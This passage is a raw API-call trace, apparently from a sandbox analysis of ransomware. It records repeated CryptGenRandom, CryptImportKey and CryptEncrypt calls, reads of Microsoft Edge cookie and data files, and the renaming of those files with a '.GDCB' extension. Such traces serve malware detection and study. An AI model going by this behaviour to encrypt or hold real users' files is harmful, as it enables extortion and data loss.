dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6780348) returned 1 [0249.271] CryptGetKeyParam (in: hKey=0x6780348, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0249.271] CryptEncrypt (in: hKey=0x6780348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca30000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xca30000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0249.271] GetLastError () returned 0x0 [0249.271] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.271] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\DOMStore\\P1T4DCFU\\www.msn[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\domstore\\p1t4dcfu\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.317] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0249.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.323] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.323] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0249.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.323] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0249.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.327] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0249.327] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.328] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0249.330] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fe48) returned 1 [0249.330] CryptGetKeyParam (in: hKey=0x677fe48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.330] CryptEncrypt (in: hKey=0x677fe48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0249.330] GetLastError () returned 0x0 [0249.330] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.330] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0249.332] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677fc88) returned 1 [0249.332] CryptGetKeyParam (in: hKey=0x677fc88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0249.332] CryptEncrypt (in: hKey=0x677fc88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0249.332] GetLastError () returned 0x0 [0249.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.332] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0249.334] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.336] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.339] ReadFile (in: hFile=0x520, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d3e8*=0x16dc8, lpOverlapped=0x0) returned 1 [0249.351] VirtualAlloc (lpAddress=0x0, dwSize=0x16dd0, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.361] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoft\\windows\\1605653898\\4275773285.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\Microsoft\\Windows\\1605653898\\4275773285.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoft\\windows\\1605653898\\4275773285.pri.gdcb")) returned 1 [0249.375] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0249.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.381] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.413] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0249.413] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.414] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.419] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.419] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0249.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.419] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0249.421] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677f188) returned 1 [0249.421] CryptGetKeyParam (in: hKey=0x677f188, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.421] CryptEncrypt (in: hKey=0x677f188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0249.422] GetLastError () returned 0x0 [0249.422] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.422] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0249.423] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780008) returned 1 [0249.423] CryptGetKeyParam (in: hKey=0x6780008, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.423] CryptEncrypt (in: hKey=0x6780008, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0249.424] GetLastError () returned 0x0 [0249.424] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0249.425] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.428] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.430] ReadFile (in: hFile=0x528, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d670*=0x280, lpOverlapped=0x0) returned 1 [0249.435] VirtualAlloc (lpAddress=0x0, dwSize=0x280, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.445] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1143SFPT.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1143sfpt.txt.gdcb")) returned 1 [0249.449] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0249.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.457] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.458] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0249.458] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.458] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.466] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.467] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0249.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.467] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0249.470] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67800c8) returned 1 [0249.470] CryptGetKeyParam (in: hKey=0x67800c8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.470] CryptEncrypt (in: hKey=0x67800c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0249.470] GetLastError () returned 0x0 [0249.470] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.470] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0249.472] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780088) returned 1 [0249.472] CryptGetKeyParam (in: hKey=0x6780088, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.472] CryptEncrypt (in: hKey=0x6780088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0249.473] GetLastError () returned 0x0 [0249.473] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.473] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0249.477] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.480] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.483] ReadFile (in: hFile=0x528, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d670*=0x2b0, lpOverlapped=0x0) returned 1 [0249.492] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.504] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\1HP9XSYA.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\1hp9xsya.txt.gdcb")) returned 1 [0249.508] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.511] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.514] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.514] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0249.514] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.514] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.517] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.519] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.519] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0249.519] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.519] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0249.522] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780208) returned 1 [0249.522] CryptGetKeyParam (in: hKey=0x6780208, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.522] CryptEncrypt (in: hKey=0x6780208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0249.522] GetLastError () returned 0x0 [0249.522] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0249.522] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0249.524] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780848) returned 1 [0249.524] CryptGetKeyParam (in: hKey=0x6780848, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.524] CryptEncrypt (in: hKey=0x6780848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0249.525] GetLastError () returned 0x0 [0249.525] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.525] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0249.526] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.529] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.532] ReadFile (in: hFile=0x528, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d670*=0x2b0, lpOverlapped=0x0) returned 1 [0249.541] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0, flAllocationType=0x3000, flProtect=0x4) returned 0xcb80000 [0249.549] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\205ESPV2.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\205espv2.txt.gdcb")) returned 1 [0249.553] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.556] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.558] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0249.558] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.559] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0249.561] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0249.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0249.564] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0249.564] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0249.564] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0249.566] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780248) returned 1 [0249.566] CryptGetKeyParam (in: hKey=0x6780248, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.566] CryptEncrypt (in: hKey=0x6780248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xca40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0249.567] GetLastError () returned 0x0 [0249.567] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.567] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0249.569] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6780388) returned 1 [0249.569] CryptGetKeyParam (in: hKey=0x6780388, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0249.569] CryptEncrypt (in: hKey=0x6780388, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xca50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xca50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0249.569] GetLastError () returned 0x0 [0249.569] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0249.569] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\Y51OCFZ0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\y51ocfz0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0249.571] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xca60000 [0249.574] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xca70000 [0249.576] ReadFile (in: hFile=0x528, lpBuffer=0xca70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xca70000*, lpNumberOfBytesRead=0x285d670*=0x290, 